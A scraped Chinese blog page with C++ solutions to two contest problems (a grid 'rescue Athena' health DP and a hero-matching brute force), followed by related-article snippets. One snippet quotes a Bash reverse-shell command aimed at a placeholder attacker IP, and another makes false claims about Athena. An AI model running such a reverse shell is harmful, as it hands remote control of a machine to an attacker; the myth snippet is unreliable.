救雅典娜 英雄PK

news/2024/10/18 7:52:01/

救雅典娜
时间限制:C/C++语言 1000MS;其他语言 3000MS
内存限制:C/C++语言 65536KB;其他语言 589824KB
题目描述:
黄金圣斗士欧洛斯要去圣域救雅典娜,需要从左上角出发,每次只能向右或向下走,最后达到右下角见到雅典娜。地图每个位置的值代表圣斗士要遭遇的事情,如果是负数,说明此处有阻击,要让圣斗士损失血量,如果是非负数,代表此处有血瓶,能让圣斗士回血,圣斗士从左上角走到右下角的过程中,走到任何一个位置时,血量都不能少于1,为了保证圣斗士能救出雅典娜,初始血量至少是多少?地图为一个二维数组map,如下矩阵。根据map,返回初始血量。
这里写图片描述

输入
一个n*m的二维数组

第一行:数组的行数n(n>0)

第二行:数组的列数m(m>0)

第三行:数组,每个位置的血量,行优先

输出
对于每个测试实例,要求输出初始血量

样例输入
3
3
-2 -3 3 -5 10 1 0 30 -5
样例输出
6

#include <vector>
#include <iostream>
using namespace std;int main()
{int n, m;cin >> n >> m;vector< vector<int> > v(n, vector<int>(m));for(int i=0; i<n; i++)for(int j=0; j<m; j++)cin >> v[i][j];vector< vector<int> > dp(n, vector<int>(m));dp[--n][--m] = v[n][m] > 0 ? 1 : -v[n][m] + 1;for(int j=m-1; j>=0; j--)dp[n][j] = max(dp[n][j+1] - v[n][j], 1);for(int i=n-1; i>=0; i--){dp[i][m] = max(dp[i+1][m] - v[i][m], 1);for(int j=m-1; j>=0; j--){int right = max(dp[i][j+1] - v[i][j], 1);int down = max(dp[i+1][j] - v[i][j], 1);dp[i][j] = min(right, down);}}cout << dp[0][0];
}

英雄PK
时间限制:C/C++语言 1000MS;其他语言 3000MS
内存限制:C/C++语言 65536KB;其他语言 589824KB
题目描述:
AB两队进行PK,每队有n个英雄,每局一个英雄出战进行PK,(且每个英雄只能出战一次),每个英雄都有武力值,武力值大的英雄获胜,武力值相同平局,平局没有得失,每赢一局该队获得100个元宝,输一局损失100个元宝。求A队最多可以赢多少元宝。

输入
第一行:一个正整数n(0

#include <vector>
#include <iostream>
#include <algorithm>
using namespace std;int result = -1000;
void swap(int &a, int &b)
{int temp = a;a = b;b = temp;
}void dfs(vector<int> &a, const vector<int> &b, int n, int dep, int ans)
{if(dep >= n){if(ans > result)result = ans;return;}for(int i=dep; i<n; i++){swap(a[dep], a[i]);int temp = 0;if(a[dep] > b[dep])temp = 100;else if(a[dep] < b[dep])temp = -100;dfs(a, b, n, dep+1, ans + temp);swap(a[dep], a[i]);}
}int main()
{int n;cin >> n;vector<int> a(n), b(n);for(int i=0; i<n; i++)cin >> a[i];for(int i=0; i<n; i++)cin >> b[i];dfs(a, b, n, 0, 0);cout << result;
}

http://www.ppmy.cn/news/572498.html

相关文章

赫拉克勒斯与雅典娜

赫拉克勒斯有一次经过一条狭窄的小路时&#xff0c;见到地上有一个很像苹果的东西. 他于是用脚想去踩碎它&#xff0c;突然觉得那东西扩大了两倍&#xff0c;于是他更加用力去踩&#xff0c;直到后来用大木棒去打. 结果那东西却越胀越大&#xff0c;把路都塞住了. 他扔下木棒&a…

拯救雅典娜

题目 黄金圣斗士拯救雅典娜&#xff0c;雅典娜在右下角 每次只能往右边或者下面走&#xff0c;每个位置的值代表遭遇的事件&#xff0c;如果是负数则扣血如果是正数则回血&#xff0c;走到任何一个位置&#xff0c;血量都不能少于1&#xff0c;为了保证救出雅典娜&#xff0c…

雅典娜阿拉克涅

最近又在随手翻看《希腊神话》&#xff0c;庞大杂乱的希腊神祗和英雄谱系总是弄得人头昏脑胀&#xff0c;更不用说许许多多长得差不多&#xff0c;又长又拗口的人名。 出于少年时对圣斗士的美好记忆&#xff0c;总是对雅典娜Athena的部分格外有兴趣。 对于圣斗士一代来说&#…

雅典娜的独白

引言 在古希腊神话中&#xff0c;有一个被称为雅典娜的女神&#xff0c;她是众神之王宙斯的女儿&#xff0c;继承了他父亲的旺盛性欲&#xff0c;同时又是奥林痞斯山3大美女之一&#xff0c;所以一出生的时候就被男人所包围。疯狂爱怜他的男人们挑起了一次又一次争风吃醋的战争…

雅典娜雅典娜

If you’re using AWS for data transformation, you’re going to run into Athena sooner or later. Athena allows you to query data across multiple data stores, with a well-known SQL syntax (Presto 6.15). 如果您使用AWS进行数据转换&#xff0c;则迟早会遇到Athena…

六、Docker容器数据卷

学习参考&#xff1a;尚硅谷Docker实战教程、Docker官网、其他优秀博客(参考过的在文章最后列出) 目录 前言一、容器数据卷1.1 容器数据卷1.2 怎么用1.3 能干什么 二、实践案例2.1 启动ubuntu容器实例&#xff0c;挂载目录&#xff1a;2.2 在ubuntu容器实例的/tmp/docker_data中…

内网隧道代理技术(七)之Bash反弹shell

Bash反弹shell Bash介绍 Shell也称为终端或壳&#xff0c;是人与内核之间的翻译官&#xff0c;而Bash则是Linux中默认使用的Shell Bash 反弹Shell的命令如下&#xff1a; bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1 bash -i >&/dev/tcp/攻击机_IP…

html闪屏代码,JS闪屏代码,闪瞎你的眼睛

JS判断手机访问函数 函数is_mobile()手机端返回true&#xff0c;PC端返回false&#xff0c;根据返回值来判断时候是手机端访问&#xff0c;然后做相应的操作。 复制代码 代码如下: script function is_mobile() { var regex_match /(nokia|iphone|android|motorola|^mot-|soft…